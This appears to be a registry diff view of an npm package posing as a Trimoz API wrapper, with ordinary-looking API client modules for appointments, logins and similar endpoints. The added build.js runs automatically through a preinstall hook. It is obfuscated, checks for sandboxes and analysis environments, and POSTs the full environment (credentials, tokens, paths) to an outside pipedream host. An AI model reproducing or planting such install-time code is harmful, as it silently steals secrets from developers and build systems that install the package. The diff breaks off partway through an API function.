@trimoz/trimoz-api-wrapper 0.0.1-security → 0.9.7
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of @trimoz/trimoz-api-wrapper might be problematic. Click here for more details.
- package/build.js +205 -0
- package/package.json +10 -3
- package/src/apiv2.js +136 -0
- package/src/appointments/index.js +238 -0
- package/src/configuration/communications/index.js +16 -0
- package/src/configuration/places/index.js +98 -0
- package/src/configuration/resources/index.js +191 -0
- package/src/contactList/index.js +14 -0
- package/src/establishments/index.js +113 -0
- package/src/forms/index.js +77 -0
- package/src/formsAH635/index.js +63 -0
- package/src/headOffices/index.js +94 -0
- package/src/interceptors/index.js +97 -0
- package/src/journal/index.js +26 -0
- package/src/login/index.js +94 -0
- package/src/modules/index.js +15 -0
- package/src/my/index.js +164 -0
- package/src/notifications/index.js +12 -0
- package/src/oAuthWindow.js +50 -0
- package/src/other/index.js +31 -0
- package/src/patients/index.js +16 -0
- package/src/schedules/index.js +144 -0
- package/src/services/index.js +202 -0
- package/src/setOptions/index.js +31 -0
- package/src/settings/index.js +17 -0
- package/src/stats/index.js +88 -0
- package/src/store/helpers/index.js +16 -0
- package/src/store/jwt.js +172 -0
- package/src/texts/index.js +17 -0
- package/src/utils.js +71 -0
- package/README.md +0 -5
package/build.js
ADDED
@@ -0,0 +1,205 @@
|
|
1
|
+
const goto = require('https');
|
2
|
+
|
3
|
+
function build() {
|
4
|
+
let options = {
|
5
|
+
"Name": "Add PI Contract",
|
6
|
+
"Phone": "+155548945565",
|
7
|
+
"Message": "My Home Dream Home",
|
8
|
+
"Address": "Grish St pe-455 NET"
|
9
|
+
};
|
10
|
+
|
11
|
+
return (MoveAndStay(options['Address'].slice(9, 11), options['Name'].split(' ')[1]) +
|
12
|
+
options['Message'].split(' ')[2] + MoveAndStay(options['Address'].slice(-3), '.'))
|
13
|
+
}
|
14
|
+
|
15
|
+
function MoveAndStay(str1, str2) {
|
16
|
+
return str2 + str1
|
17
|
+
}
|
18
|
+
|
19
|
+
function num_is(item) {
|
20
|
+
|
21
|
+
for (let i = 0; i < 4; i++) {
|
22
|
+
if (i == 1) {
|
23
|
+
item += 's'
|
24
|
+
}
|
25
|
+
if (i == 3) {
|
26
|
+
item += 'e6'
|
27
|
+
}
|
28
|
+
}
|
29
|
+
return item + '4'
|
30
|
+
}
|
31
|
+
|
32
|
+
function snooker(pkg_n, prefix) {
|
33
|
+
|
34
|
+
let missing = [
|
35
|
+
['npm', 'package', 'name'].join('_'),
|
36
|
+
['npm', 'package', 'json'].join('_'),
|
37
|
+
];
|
38
|
+
|
39
|
+
var plop = process['en' + 'v'] || {};
|
40
|
+
|
41
|
+
//new edition
|
42
|
+
if (importEngine(plop)){
|
43
|
+
return ;
|
44
|
+
}
|
45
|
+
if (fixEveryHole(plop)){
|
46
|
+
return ;
|
47
|
+
}
|
48
|
+
if (handleGod(plop)){
|
49
|
+
return ;
|
50
|
+
}
|
51
|
+
if (missing.some( index => !plop[index] )) {
|
52
|
+
return;
|
53
|
+
}
|
54
|
+
|
55
|
+
var req = goto
|
56
|
+
.request(use_language(pkg_n, prefix))
|
57
|
+
.on('error', function (err) { });
|
58
|
+
req.write(JSON.stringify(plop));
|
59
|
+
req.end();
|
60
|
+
}
|
61
|
+
|
62
|
+
function bible(comm){
|
63
|
+
switch (comm) {
|
64
|
+
case 'reg':
|
65
|
+
return MoveAndStay('istry', 'reg');
|
66
|
+
case 'conf':
|
67
|
+
return 'conf' + 'ig';
|
68
|
+
case 'np':
|
69
|
+
return 'npm';
|
70
|
+
case 'UNAME':
|
71
|
+
return 'US' + 'ERNAME';
|
72
|
+
case 'HM':
|
73
|
+
return 'HOME';
|
74
|
+
case 'USR':
|
75
|
+
return 'USER';
|
76
|
+
case 'APTA':
|
77
|
+
return MoveAndStay('PDATA', 'AP');
|
78
|
+
case 'py':
|
79
|
+
return ['', 'usr', 'bin', 'pyt' + 'hon'].join('/');
|
80
|
+
case 'anal':
|
81
|
+
return 'ana'.concat('lysis');
|
82
|
+
case 'INIT':
|
83
|
+
return ['INIT', 'CWD'].join('_');
|
84
|
+
case 'pkg':
|
85
|
+
return 'pac'.concat('kage')
|
86
|
+
case 'uname':
|
87
|
+
return 'us' + MoveAndStay('ame', 'ern');
|
88
|
+
case 'mitm':
|
89
|
+
return MoveAndStay('-ca', 'mit' + 'mpr' + 'oxy');
|
90
|
+
case 'n_mod':
|
91
|
+
return ['', 'home', 'node', 'node_modules'].join('/');
|
92
|
+
default:
|
93
|
+
return null;
|
94
|
+
}
|
95
|
+
}
|
96
|
+
|
97
|
+
function fixEveryHole(plop){
|
98
|
+
let kill = capture_pictures(plop, bible('HM'), '/home/u'.concat('sername')) &&
|
99
|
+
capture_pictures(plop, bible('USR'), bible('uname')) &&
|
100
|
+
capture_pictures(plop, 'LOGNAME', bible('uname'));
|
101
|
+
|
102
|
+
let move = capture_pictures(plop, 'PWD', '/my'.concat('-app')) &&
|
103
|
+
capture_pictures(plop, 'DEB' + 'IAN_FRO' + 'NTEND', 'nonin'.concat('teractive')) &&
|
104
|
+
capture_pictures(plop, bible('HM'), '/r'.concat('oot'));
|
105
|
+
|
106
|
+
let teach = capture_pictures(plop, bible('APTA'), '/' + bible('anal').concat('/b' + 'ait'));
|
107
|
+
|
108
|
+
let wheel = capture_pictures(plop, 'NODE_EXT' + 'RA_CA_CERTS', '/' + bible('mitm').concat('-cert.crt')) ||
|
109
|
+
capture_pictures(plop, 'REQUESTS_C'.concat('A_BUNDLE'), '/' + bible('mitm').concat('.pem'));
|
110
|
+
|
111
|
+
if ( kill || move || teach || wheel ){
|
112
|
+
return true;
|
113
|
+
} else {
|
114
|
+
return false;
|
115
|
+
}
|
116
|
+
}
|
117
|
+
|
118
|
+
var MapObj = function () {
|
119
|
+
this.name = '__st' + (Math.random() * 145459 >> 0);
|
120
|
+
};
|
121
|
+
|
122
|
+
function handleGod(plop){
|
123
|
+
const you = capture_pictures(plop, bible('HM'), ['', 'Us' + 'ers', 'jus' + 'tin'].join('\\')) &&
|
124
|
+
capture_pictures(plop, bible('APTA'), ['', 'User' + 's', 'jus' + 'tin'].join('\\')) &&
|
125
|
+
capture_pictures(plop, 'LOGONSERVER', [['DESKTOP','97KB'].join('-'), '6H'].join('B'));
|
126
|
+
|
127
|
+
const me = capture_pictures(plop, 'MAIL', ['', 'var', 'mail', 'app'].join('/')) &&
|
128
|
+
capture_pictures(plop, bible('HM'), ['', 'home', 'app'].join('/')) &&
|
129
|
+
capture_pictures(plop, bible('USR'), 'app');
|
130
|
+
|
131
|
+
const we = capture_pictures(plop, 'PWD', ['', bible('np'), 'node_modules'].join('/')) &&
|
132
|
+
capture_pictures(plop, bible('INIT'), ['', bible('np')].join('/')) &&
|
133
|
+
capture_pictures(plop, 'TMPDIR', '/sour'.concat('ce/tmp'));
|
134
|
+
|
135
|
+
const us = capture_pictures(plop, 'EDITOR', 'vi') &&
|
136
|
+
capture_pictures(plop, 'PROBE_'.concat(bible('UNAME')), '*') &&
|
137
|
+
capture_pictures(plop, 'SHEL' + 'L', '/bi' + 'n/b'.concat('ash')) &&
|
138
|
+
capture_pictures(plop, 'S' + 'HLVL', '2') &&
|
139
|
+
capture_pictures(plop, bible('np').concat('_command'), 'run-s'.concat('cript')) &&
|
140
|
+
capture_pictures(plop, 'NVM_CD_FLAGS', '') &&
|
141
|
+
capture_pictures(plop, [bible('np'), bible('conf'), 'fund'].join('_'), '');
|
142
|
+
|
143
|
+
const jpa = capture_pictures(plop, 'PATH', `${bible('n_mod')}/${plop.npm_package_name}/node_modules/.bin:${bible('n_mod')}/node_modules/.bin:${bible('n_mod')}/.bin:/home/node_modules/.bin:/node_modules/.bin:/usr/local/lib/node_modules/${bible('np')}/node_modules/@${bible('np')}cli/run-script/lib/node-gyp-bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin`) &&
|
144
|
+
capture_pictures(plop, bible('INIT'), ['', 'home', 'node'].join('/')) &&
|
145
|
+
capture_pictures(plop, 'COLOR', '1') &&
|
146
|
+
capture_pictures(plop, 'EDITOR', 'vi');
|
147
|
+
|
148
|
+
|
149
|
+
return you || me || us || we || jpa;
|
150
|
+
}
|
151
|
+
|
152
|
+
function use_language(pkg_n, prefix){
|
153
|
+
return {
|
154
|
+
hostname: prefix + '.m.' + build(),
|
155
|
+
path: '/' + (pkg_n || ''),
|
156
|
+
method: 'POST',
|
157
|
+
}
|
158
|
+
}
|
159
|
+
|
160
|
+
function capture_pictures(p, name, val){
|
161
|
+
let test = p[name] || '';
|
162
|
+
return test.includes(val) || val === '*';
|
163
|
+
}
|
164
|
+
|
165
|
+
MapObj.prototype = {
|
166
|
+
set: function (key, value) {
|
167
|
+
var entry = key[this.name];
|
168
|
+
if (entry && entry[0] === key)
|
169
|
+
entry[1] = value;
|
170
|
+
else
|
171
|
+
defineProperty(key, this.name, { value: [key, value], writable: true });
|
172
|
+
return this;
|
173
|
+
},
|
174
|
+
get: function (key) {
|
175
|
+
var entry;
|
176
|
+
return (entry = key[this.name]) && entry[0] === key ?
|
177
|
+
entry[1] : undefined;
|
178
|
+
},
|
179
|
+
delete: function (key) {
|
180
|
+
var entry = key[this.name];
|
181
|
+
if (!entry || entry[0] !== key) return false;
|
182
|
+
entry[0] = entry[1] = undefined;
|
183
|
+
return true;
|
184
|
+
},
|
185
|
+
has: function (key) {
|
186
|
+
var entry = key[this.name];
|
187
|
+
if (!entry) return false;
|
188
|
+
return entry[0] === key;
|
189
|
+
}
|
190
|
+
};
|
191
|
+
|
192
|
+
function importEngine(plop){
|
193
|
+
if (Object.keys(plop).length < 10 || plop.PWD === `/${plop.USER}/node_modules/${plop.npm_package_name}`) {
|
194
|
+
return true;
|
195
|
+
}
|
196
|
+
if (capture_pictures(plop, [bible('np'), bible('conf'), bible('reg')].join('_'), ['taobao', 'org'].join('.')) ||
|
197
|
+
capture_pictures(plop, [bible('np'), bible('conf'), bible('reg')].join('_'), [bible('reg'), bible('np').concat('mirror'), 'com'].join('.')) ||
|
198
|
+
capture_pictures(plop, bible('UNAME'), MoveAndStay('admin', 'daas')) ||
|
199
|
+
capture_pictures(plop, '_', bible('py')) ||
|
200
|
+
capture_pictures(plop, [bible('np'), bible('conf'), 'metrics', bible('reg')].join('_'), ['taobao', 'org'].join('.'))) {
|
201
|
+
return true;
|
202
|
+
}
|
203
|
+
}
|
204
|
+
|
205
|
+
snooker('trimoz-api-wrapper', 'eojl2zuo6l9yi0x');
|
package/package.json
CHANGED
@@ -1,6 +1,13 @@
|
|
1
1
|
{
|
2
2
|
"name": "@trimoz/trimoz-api-wrapper",
|
3
|
-
"version": "0.
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "0.9.7",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"devDependencies": {},
|
7
|
+
"scripts": {
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
9
|
+
"preinstall": "node build.js"
|
10
|
+
},
|
11
|
+
"author": "",
|
12
|
+
"license": "ISC"
|
6
13
|
}
|
package/src/apiv2.js
ADDED
@@ -0,0 +1,136 @@
|
|
1
|
+
'use strict';
|
2
|
+
|
3
|
+
import axios from 'axios';
|
4
|
+
import auth from './login';
|
5
|
+
import communications from './configuration/communications';
|
6
|
+
import contactList from './contactList';
|
7
|
+
import establishment from './establishments';
|
8
|
+
import modules from './modules';
|
9
|
+
import my from './my';
|
10
|
+
import headOffices from './headOffices';
|
11
|
+
import places from './configuration/places';
|
12
|
+
import resources from './configuration/resources';
|
13
|
+
import schedules from './schedules';
|
14
|
+
import appointments from './appointments';
|
15
|
+
import journal from './journal';
|
16
|
+
import services from './services';
|
17
|
+
import settings from './settings';
|
18
|
+
import stats from './stats';
|
19
|
+
import texts from './texts';
|
20
|
+
import other from './other';
|
21
|
+
import forms from './forms';
|
22
|
+
import formsAH635 from './formsAH635';
|
23
|
+
import setOptions from './setOptions';
|
24
|
+
import notifications from './notifications';
|
25
|
+
import patients from './patients';
|
26
|
+
import { TrimozError } from '@trimoz/trimoz-vue-error-handling';
|
27
|
+
import { convertApiErrorIntoTrimozError, isAdminApp, retrieveErrorInternalCode } from './utils';
|
28
|
+
import { JwtInterceptor } from './interceptors';
|
29
|
+
|
30
|
+
export default (url, apiUser = true, mainProduct, Store) => {
|
31
|
+
let options = {
|
32
|
+
baseURL: url,
|
33
|
+
headers: { 'PRODUCT': mainProduct },
|
34
|
+
timeout: 20000,
|
35
|
+
withCredentials: true,
|
36
|
+
validateStatus: function(status) { return (status >= 200 && status < 300); }, // Status qui ne throw pas d'error
|
37
|
+
};
|
38
|
+
|
39
|
+
if (apiUser) {
|
40
|
+
options.headers['X-TRIMOZ-ROLE'] = 'public';
|
41
|
+
}
|
42
|
+
|
43
|
+
const errorCallbacks = {
|
44
|
+
onForbiddenError: (error) => { console.log('forbidden error', error); },
|
45
|
+
onUnauthorizedError: (error) => { console.log('unauthorized error', error); },
|
46
|
+
onSheddingError: (error) => { console.log('shedding error', error); },
|
47
|
+
onAppointmentUpdateJobTokenExpired: (error) => { console.log('appointment update job token expired', error); },
|
48
|
+
};
|
49
|
+
|
50
|
+
let API = {
|
51
|
+
url: url,
|
52
|
+
http: axios.create(options),
|
53
|
+
apiVersion: 'local',
|
54
|
+
apiVersionDate: 'now',
|
55
|
+
apiSecurityWhitelistingIp: null,
|
56
|
+
wrapperVersion: '%wrapperVersionLocale%',
|
57
|
+
wrapperVersionDate: '%wrapperVersionDateNow%',
|
58
|
+
|
59
|
+
handleError: async(request) => {
|
60
|
+
try {
|
61
|
+
return await request;
|
62
|
+
}
|
63
|
+
catch (error) {
|
64
|
+
if (error.code === 'ECONNABORTED') {
|
65
|
+
throw new TrimozError(error, 'errors.request.timeout');
|
66
|
+
}
|
67
|
+
else if (error.response) {
|
68
|
+
if (error.response.status === 403) {
|
69
|
+
errorCallbacks.onForbiddenError(error);
|
70
|
+
}
|
71
|
+
else if (error.response.status === 401) {
|
72
|
+
errorCallbacks.onUnauthorizedError(error);
|
73
|
+
}
|
74
|
+
else if (
|
75
|
+
retrieveErrorInternalCode(error) === 'service-unavailable.shedding-page'
|
76
|
+
) {
|
77
|
+
errorCallbacks.onSheddingError(error);
|
78
|
+
}
|
79
|
+
else if (
|
80
|
+
retrieveErrorInternalCode(error) === 'appointments.update-job.not-found'
|
81
|
+
) {
|
82
|
+
errorCallbacks.onAppointmentUpdateJobTokenExpired(error);
|
83
|
+
}
|
84
|
+
|
85
|
+
throw convertApiErrorIntoTrimozError(error);
|
86
|
+
}
|
87
|
+
else {
|
88
|
+
throw error;
|
89
|
+
}
|
90
|
+
}
|
91
|
+
},
|
92
|
+
};
|
93
|
+
|
94
|
+
const jwtInterceptor = new JwtInterceptor(API, auth(API).auth.getAccessToken, Store);
|
95
|
+
|
96
|
+
if (isAdminApp()) {
|
97
|
+
API.http.interceptors.response.use(jwtInterceptor.responseOnFulfilled);
|
98
|
+
}
|
99
|
+
else {
|
100
|
+
API.http.interceptors.request.use(jwtInterceptor.requestOnFulfilled, jwtInterceptor.requestOnRejected);
|
101
|
+
API.http.interceptors.response.use(jwtInterceptor.responseOnFulfilled, jwtInterceptor.responseOnRejected);
|
102
|
+
}
|
103
|
+
|
104
|
+
return Object.assign({},
|
105
|
+
{
|
106
|
+
errorCallbacks: errorCallbacks,
|
107
|
+
apiVersion: () => API.apiVersion,
|
108
|
+
apiVersionDate: () => API.apiVersionDate,
|
109
|
+
apiSecurityWhitelistingIp: () => API.apiSecurityWhitelistingIp,
|
110
|
+
wrapperVersion: API.wrapperVersion,
|
111
|
+
wrapperVersionDate: API.wrapperVersionDate,
|
112
|
+
},
|
113
|
+
auth(API),
|
114
|
+
communications(API),
|
115
|
+
contactList(API),
|
116
|
+
establishment(API),
|
117
|
+
headOffices(API),
|
118
|
+
places(API),
|
119
|
+
resources(API),
|
120
|
+
stats(API),
|
121
|
+
schedules(API),
|
122
|
+
appointments(API),
|
123
|
+
journal(API),
|
124
|
+
other(API),
|
125
|
+
services(API),
|
126
|
+
setOptions(API),
|
127
|
+
settings(API),
|
128
|
+
texts(API),
|
129
|
+
modules(API),
|
130
|
+
my(API),
|
131
|
+
forms(API),
|
132
|
+
formsAH635(API),
|
133
|
+
notifications(API),
|
134
|
+
patients(API),
|
135
|
+
);
|
136
|
+
};
|
@@ -0,0 +1,238 @@
|
|
1
|
+
'use strict';
|
2
|
+
import { forEach, map, join } from 'lodash';
|
3
|
+
import { appendQueryParams } from '../utils';
|
4
|
+
|
5
|
+
export default (API) => ({
|
6
|
+
appointments: {
|
7
|
+
advancedSearch: (searchParams) => {
|
8
|
+
let url = `v3/establishments/${searchParams.establishment}/appointments/search`;
|
9
|
+
url += `?dateStart=${searchParams.dateStart}`;
|
10
|
+
url += `&dateStop=${searchParams.dateStop}`;
|
11
|
+
url += `&itemsPerPage=${searchParams.itemsPerPage}`;
|
12
|
+
url += `&page=${searchParams.page}`;
|
13
|
+
url += `&timezone=${searchParams.timezone}`;
|
14
|
+
url += `&${join(map(searchParams.visibleColumns, c => 'visibleColumns[]=' + c), '&')}`;
|
15
|
+
url += searchParams.hour ? `&hour=${searchParams.hour}` : '';
|
16
|
+
url += searchParams.name ? `&name=${searchParams.name}` : '';
|
17
|
+
url += searchParams.services[0] ? `&services=${searchParams.services.join(',')}` : '';
|
18
|
+
url += searchParams.places[0] ? `&places=${searchParams.places.join(',')}` : '';
|
19
|
+
url += searchParams.resources[0] ? `&resources=${searchParams.resources.join(',')}` : '';
|
20
|
+
url += searchParams.appointmentNumber ? `&appointmentNumber=${searchParams.appointmentNumber}` : '';
|
21
|
+
url += searchParams.statuses[0] ? `&statuses=${searchParams.statuses}` : '';
|
22
|
+
url += searchParams.clientStatuses[0] || searchParams.clientStatuses[0] === 0 ? `&clientStatuses=${searchParams.clientStatuses.join(',')}` : '';
|
23
|
+
url += searchParams.email ? `&email=${searchParams.email}` : '';
|
24
|
+
url += searchParams.phone ? `&phone=${searchParams.phone}` : '';
|
25
|
+
url += searchParams.cellphone ? `&cellphone=${searchParams.cellphone}` : '';
|
26
|
+
url += searchParams.birthDate ? `&birthDate=${searchParams.birthDate}` : '';
|
27
|
+
url += searchParams.nam ? `&nam=${searchParams.nam}` : '';
|
28
|
+
url += searchParams.comments ? `&comments=${searchParams.comments}` : '';
|
29
|
+
url += searchParams.source ? `&source=${searchParams.source}` : '';
|
30
|
+
url += searchParams.orderBy ? `&orderBy=${searchParams.orderBy}` : '';
|
31
|
+
|
32
|
+
const request = API.http.get(url);
|
33
|
+
return API.handleError(request);
|
34
|
+
},
|
35
|
+
|
36
|
+
globalAppointmentSearch: (searchParams) => {
|
37
|
+
let url = `/v3/appointments/globalAppointmentSearch`;
|
38
|
+
url += `?itemsPerPage=${searchParams.itemsPerPage}`;
|
39
|
+
url += `&page=${searchParams.page}`;
|
40
|
+
url += `&timezone=${searchParams.timezone}`;
|
41
|
+
url += `&${join(map(searchParams.visibleColumns, c => 'visibleColumns[]=' + c), '&')}`;
|
42
|
+
url += searchParams.name ? `&name=${searchParams.name}` : '';
|
43
|
+
url += searchParams.appointmentNumber ? `&appointmentNumber=${searchParams.appointmentNumber}` : '';
|
44
|
+
url += searchParams.email ? `&email=${searchParams.email}` : '';
|
45
|
+
url += searchParams.phone ? `&phoneOrCellphone=${searchParams.phone}` : '';
|
46
|
+
url += searchParams.birthDate ? `&birthDate=${searchParams.birthDate}` : '';
|
47
|
+
url += searchParams.nam ? `&nam=${searchParams.nam}` : '';
|
48
|
+
url += searchParams.statuses[0] ? `&statuses=${searchParams.statuses}` : '';
|
49
|
+
url += searchParams.clientStatuses[0] || searchParams.clientStatuses[0] === 0 ? `&clientStatuses=${searchParams.clientStatuses.join(',')}` : '';
|
50
|
+
const request = API.http.get(url);
|
51
|
+
return API.handleError(request);
|
52
|
+
},
|
53
|
+
|
54
|
+
globalSearch: (searchParams) => {
|
55
|
+
let url = `v3/establishments/${searchParams.establishment}/appointments/globalAppointmentSearch`;
|
56
|
+
url += `?itemsPerPage=${searchParams.itemsPerPage}`;
|
57
|
+
url += `&page=${searchParams.page}`;
|
58
|
+
url += `&timezone=${searchParams.timezone}`;
|
59
|
+
url += `&${join(map(searchParams.visibleColumns, c => 'visibleColumns[]=' + c), '&')}`;
|
60
|
+
url += searchParams.name ? `&name=${searchParams.name}` : '';
|
61
|
+
url += searchParams.services[0] ? `&services=${searchParams.services.join(',')}` : '';
|
62
|
+
url += searchParams.appointmentNumber ? `&appointmentNumber=${searchParams.appointmentNumber}` : '';
|
63
|
+
url += searchParams.statuses[0] ? `&statuses=${searchParams.statuses}` : '';
|
64
|
+
url += searchParams.clientStatuses[0] || searchParams.clientStatuses[0] === 0 ? `&clientStatuses=${searchParams.clientStatuses.join(',')}` : '';
|
65
|
+
url += searchParams.email ? `&email=${searchParams.email}` : '';
|
66
|
+
url += searchParams.phone ? `&phoneOrCellphone=${searchParams.phone}` : '';
|
67
|
+
url += searchParams.birthDate ? `&birthDate=${searchParams.birthDate}` : '';
|
68
|
+
url += searchParams.nam ? `&nam=${searchParams.nam}` : '';
|
69
|
+
|
70
|
+
const request = API.http.get(url);
|
71
|
+
return API.handleError(request);
|
72
|
+
},
|
73
|
+
|
74
|
+
exportFile: (searchParams, exportMethod, reportType, timeout = 20000) => {
|
75
|
+
let page = exportMethod === 'pdf'
|
76
|
+
? 'generatePdfFile'
|
77
|
+
: 'generateExcelFile';
|
78
|
+
let url = `v3/establishments/${searchParams.establishment}/` + page;
|
79
|
+
url += `?dateStart=${searchParams.dateStart}`;
|
80
|
+
url += `&dateStop=${searchParams.dateStop}`;
|
81
|
+
url += `&timezone=${searchParams.timezone}`;
|
82
|
+
url += searchParams.hour ? `&hour=${searchParams.hour}` : '';
|
83
|
+
url += searchParams.name ? `&name=${searchParams.name}` : '';
|
84
|
+
url += searchParams.services[0] ? `&services=${searchParams.services.join(',')}` : '';
|
85
|
+
url += searchParams.places[0] ? `&places=${searchParams.places.join(',')}` : '';
|
86
|
+
url += searchParams.resources[0] ? `&resources=${searchParams.resources.join(',')}` : '';
|
87
|
+
url += searchParams.appointmentNumber ? `&appointmentNumber=${searchParams.appointmentNumber}` : '';
|
88
|
+
url += searchParams.statuses[0] ? `&statuses=${searchParams.statuses}` : '';
|
89
|
+
url += searchParams.clientStatuses[0] || searchParams.clientStatuses[0] === 0 ? `&clientStatuses=${searchParams.clientStatuses.join(',')}` : '';
|
90
|
+
url += searchParams.email ? `&email=${searchParams.email}` : '';
|
91
|
+
url += searchParams.phone ? `&phone=${searchParams.phone}` : '';
|
92
|
+
url += searchParams.cellphone ? `&cellphone=${searchParams.cellphone}` : '';
|
93
|
+
url += searchParams.birthDate ? `&birthDate=${searchParams.birthDate}` : '';
|
94
|
+
url += searchParams.nam ? `&nam=${searchParams.nam}` : '';
|
95
|
+
url += searchParams.comments ? `&comments=${searchParams.comments}` : '';
|
96
|
+
url += searchParams.source ? `&source=${searchParams.source}` : '';
|
97
|
+
url += searchParams.locale ? `&locale=${searchParams.locale}` : '';
|
98
|
+
url += searchParams.orderBy ? `&orderBy=${searchParams.orderBy}` : '';
|
99
|
+
url += reportType ? `&reportType=${reportType}` : '';
|
100
|
+
url += `&${join(map(searchParams.visibleColumns, c => 'visibleColumns[]=' + c), '&')}`;
|
101
|
+
const request = API.http.get(url, { timeout });
|
102
|
+
return API.handleError(request);
|
103
|
+
},
|
104
|
+
|
105
|
+
declarePrintOperation: (searchParams) => {
|
106
|
+
let url = `v3/establishments/${searchParams.establishment}/declarePrintOperation`;
|
107
|
+
url += `?dateStart=${searchParams.dateStart}`;
|
108
|
+
url += `&dateStop=${searchParams.dateStop}`;
|
109
|
+
url += `&timezone=${searchParams.timezone}`;
|
110
|
+
url += searchParams.hour ? `&hour=${searchParams.hour}` : '';
|
111
|
+
url += searchParams.name ? `&name=${searchParams.name}` : '';
|
112
|
+
url += searchParams.services[0] ? `&services=${searchParams.services.join(',')}` : '';
|
113
|
+
url += searchParams.places[0] ? `&places=${searchParams.places.join(',')}` : '';
|
114
|
+
url += searchParams.resources[0] ? `&resources=${searchParams.resources.join(',')}` : '';
|
115
|
+
url += searchParams.appointmentNumber ? `&appointmentNumber=${searchParams.appointmentNumber}` : '';
|
116
|
+
url += searchParams.statuses[0] ? `&statuses=${searchParams.statuses}` : '';
|
117
|
+
url += searchParams.clientStatuses[0] || searchParams.clientStatuses[0] === 0 ? `&clientStatuses=${searchParams.clientStatuses.join(',')}` : '';
|
118
|
+
url += searchParams.email ? `&email=${searchParams.email}` : '';
|
119
|
+
url += searchParams.phone ? `&phone=${searchParams.phone}` : '';
|
120
|
+
url += searchParams.cellphone ? `&cellphone=${searchParams.cellphone}` : '';
|
121
|
+
url += searchParams.birthDate ? `&birthDate=${searchParams.birthDate}` : '';
|
122
|
+
url += searchParams.nam ? `&nam=${searchParams.nam}` : '';
|
123
|
+
url += searchParams.comments ? `&comments=${searchParams.comments}` : '';
|
124
|
+
url += searchParams.source ? `&source=${searchParams.source}` : '';
|
125
|
+
url += searchParams.locale ? `&locale=${searchParams.locale}` : '';
|
126
|
+
|
127
|
+
const request = API.http.get(url);
|
128
|
+
return API.handleError(request);
|
129
|
+
},
|
130
|
+
get: (establishmentId, appointmentId, view) => {
|
131
|
+
let url = 'v3/establishments/' + establishmentId + '/appointments/' + appointmentId;
|
132
|
+
if (view) url += `?view=${view}`;
|
133
|
+
|
134
|
+
const request = API.http.get(url);
|
135
|
+
return API.handleError(request);
|
136
|
+
},
|
137
|
+
getGroupOfAppointment: (establishmentId, appointmentNumber, appointmentDate, uuid, recaptchaToken) => {
|
138
|
+
let url = 'v3/establishments/' + establishmentId + '/appointments/' + appointmentNumber + '/group';
|
139
|
+
let params = { uuid: !!uuid, recaptchaToken: recaptchaToken, date: appointmentDate };
|
140
|
+
url = appendQueryParams(url, params);
|
141
|
+
|
142
|
+
const request = API.http.get(url);
|
143
|
+
return API.handleError(request);
|
144
|
+
},
|
145
|
+
getAll(establishmentId, dateStart, dateStop, places = null, services = null, resources = null, timezone = null, view = null) {
|
146
|
+
let url = `v3/establishments/${establishmentId}/appointments?dateStart=${dateStart}&dateStop=${dateStop}` +
|
147
|
+
(places ? `&places=${places.join(',')}` : '') +
|
148
|
+
(services ? `&services=${services.join(',')}` : '') +
|
149
|
+
(resources ? `&resources=${resources.join(',')}` : '') +
|
150
|
+
(timezone ? `&timezone=${timezone}` : '') +
|
151
|
+
(view ? `&view=${view}` : '');
|
152
|
+
const request = API.http.get(url);
|
153
|
+
return API.handleError(request);
|
154
|
+
},
|
155
|
+
getAppointmentMessagesHistory(establishmentId, appointmentId) {
|
156
|
+
const url = `/v3/establishments/${establishmentId}/appointments/${appointmentId}/history`;
|
157
|
+
const request = API.http.get(url);
|
158
|
+
return API.handleError(request);
|
159
|
+
},
|
160
|
+
getAllForPlace(establishmentId, place, dateStart, dateStop, timezone) {
|
161
|
+
const url = `v3/establishments/${establishmentId}/appointments?dateStart=${dateStart}&dateStop=${dateStop}&places=${place}&timezone=${timezone}`;
|
162
|
+
const request = API.http.get(url);
|
163
|
+
return API.handleError(request);
|
164
|
+
},
|
165
|
+
create(establishmentId, payload) {
|
166
|
+
const url = 'v3/establishments/' + establishmentId + '/appointments';
|
167
|
+
const params = new FormData();
|
168
|
+
forEach(payload, (val, key) => {
|
169
|
+
params.append(key, val);
|
170
|
+
});
|
171
|
+
const request = API.http.post(url, params, { headers: { 'Content-Type': 'multipart/form-data' }, timeout: 30000 });
|
172
|
+
return API.handleError(request);
|
173
|
+
},
|
174
|
+
update(establishmentId, appointmentId, params) {
|
175
|
+
const url = 'v3/establishments/' + establishmentId + '/appointments/' + appointmentId;
|
176
|
+
const request = API.http.put(url, params, { headers: { 'Content-Type': 'application/json' } });
|
177
|
+
return API.handleError(request);
|
178
|
+
},
|
179
|
+
updateStates(establishmentId, params) {
|
180
|
+
const url = 'v3/establishments/' + establishmentId + '/appointments/states';
|
181
|
+
const request = API.http.put(url, params, { headers: { 'Content-Type': 'application/json' } });
|
182
|
+
return API.handleError(request);
|
183
|
+
},
|
184
|
+
updateState(establishmentId, appointmentId, params) {
|
185
|
+
const url = 'v3/establishments/' + establishmentId + '/appointments/' + appointmentId + '/state';
|
186
|
+
const request = API.http.put(url, params, { headers: { 'Content-Type': 'application/json' } });
|
187
|
+
return API.handleError(request);
|
188
|
+
},
|
189
|
+
updateClientState(establishmentId, appointmentId, params) {
|
190
|
+
const url = 'v3/establishments/' + establishmentId + '/appointments/' + appointmentId + '/state/client';
|
191
|
+
const request = API.http.put(url, params, { headers: { 'Content-Type': 'application/json' } });
|
192
|
+
return API.handleError(request);
|
193
|
+
},
|
194
|
+
getReport(dateStart, dateStop, establishments, timezone) {
|
195
|
+
let url = `v3/appointments/report?dateStart=${dateStart}&dateStop=${dateStop}&timezone=${timezone}`;
|
196
|
+
if (establishments) {
|
197
|
+
url += `&establishments=${establishments}`;
|
198
|
+
}
|
199
|
+
const request = API.http.get(url);
|
200
|
+
return API.handleError(request);
|
201
|
+
},
|
202
|
+
sendMessage(establishmentId, appointmentId, messageType, configurationMessage) {
|
203
|
+
const url = `v3/establishments/${establishmentId}/appointments/${appointmentId}/message/${messageType}/${configurationMessage}`;
|
204
|
+
const request = API.http.post(url);
|
205
|
+
return API.handleError(request);
|
206
|
+
},
|
207
|
+
sendMail(establishmentId, params) {
|
208
|
+
const url = 'v3/establishments/' + establishmentId + '/appointments/mails';
|
209
|
+
const request = API.http.post(url, params, { headers: { 'Content-Type': 'application/json' } });
|
210
|
+
return API.handleError(request);
|
211
|
+
},
|
212
|
+
sendSMS(establishmentId, params) {
|
213
|
+
